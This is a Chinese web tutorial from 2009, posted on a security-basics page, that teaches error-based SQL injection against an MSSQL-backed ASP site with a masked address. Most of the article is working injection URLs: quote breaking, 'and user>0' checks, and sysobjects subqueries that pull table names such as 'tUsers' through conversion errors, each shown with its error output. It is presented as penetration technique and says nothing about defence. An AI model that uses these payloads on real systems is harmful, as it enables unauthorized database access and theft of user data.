当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > 灵活地运用SQL Injection做数据库渗透

安全基础
清扬内网管理软件禁用BT等下载工具
重新安装操作系统避免病毒入侵的方法
通过注册表删除多余本地连接
无线网络2种故障现象和解决办法
IE不能上网浏览的问题原因和解决办法
手工杀毒的一些心得
安装Photo story时出现1606错误
轻松识别网络购物五类典型诈骗
无法用域账号登陆计算机
Windows任务管理器隐藏的秘密
Partition Magic Pro合并/拆分操作丢失分区
用U盘作启动盘给笔记本重新做系统
syssafe.exe病毒处理过程
为您解析Flash软件漏洞的SWF挂马方式
什么是电脑肉鸡?(新手应该知道)
网民如何防范和应对挂马网页
病毒程序和木马经常修改的系统文件和注册表
黑客在网上公开明码标价出售电脑肉鸡
你的电脑已经成为肉鸡的几种现象
新手认识;网银账号相关知识

安全基础 中的 灵活地运用SQL Injection做数据库渗透


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-28   浏览: 62 ::
收藏到网摘: n/a

    对于很多的MSSQL数据库,要进行注入需要灵活的技巧与思路,就有如在第一篇文章里所提到的逻辑判断法。 有时候,一个注入点的判断不是单纯靠and 1=1和and 1=2的,就有如这网站:

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25

加个" ' "符号在后面,

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'

出错信息如下,

Unclosed quotation mark before the character string 'M10-25''

好,应该是注入点了,再试and 1=1,

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20'1'='1

是正常画面,再试and 1=2,

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20'1'='2

还是正常画面,看来是逻辑判断被过滤了,是不是不能注入了呢?然而,逻辑判断能被过滤,执行错误可不能被过滤。在unclosed quotation mark的前提下,我们先让它出错,然后再加个逻辑判断给它过滤和关掉那个" ' "符号。好,思路是这样,就提交这样的语句:

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20user>0%20and%20'1'='1

出错信息如下,

Syntax error converting the nvarchar value 'dbo' to a column of data type int

看到吧,成功了。所以下次当逻辑判断被过滤了,就利用它再结合执行错误来进行注入好了。
再试这语句,

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20(select%20top%201%20name%20from%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype='U'%20order%20by%20name%20desc)%20a%20order%20by%20name)>0%20and%20'1'='1

出错信息是,

Syntax error converting the nvarchar value 'tUsers' to a column of data type int

好,第一个表名是'tUsers'

再来,

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20(select%20top%201%20name%20from%20(select%20top%202%20name%20from%20sysobjects%20where%20xtype='U'%20order%20by%20name%20desc)%20a%20order%20by%20name)>0%20and%20'1'='1

这次的出错信息是,

Syntax error converting the nvarchar value 'tTechnical' to a column of data type int

第二个表名是'tTechnical'

好了,就试到这里为止。共勉之。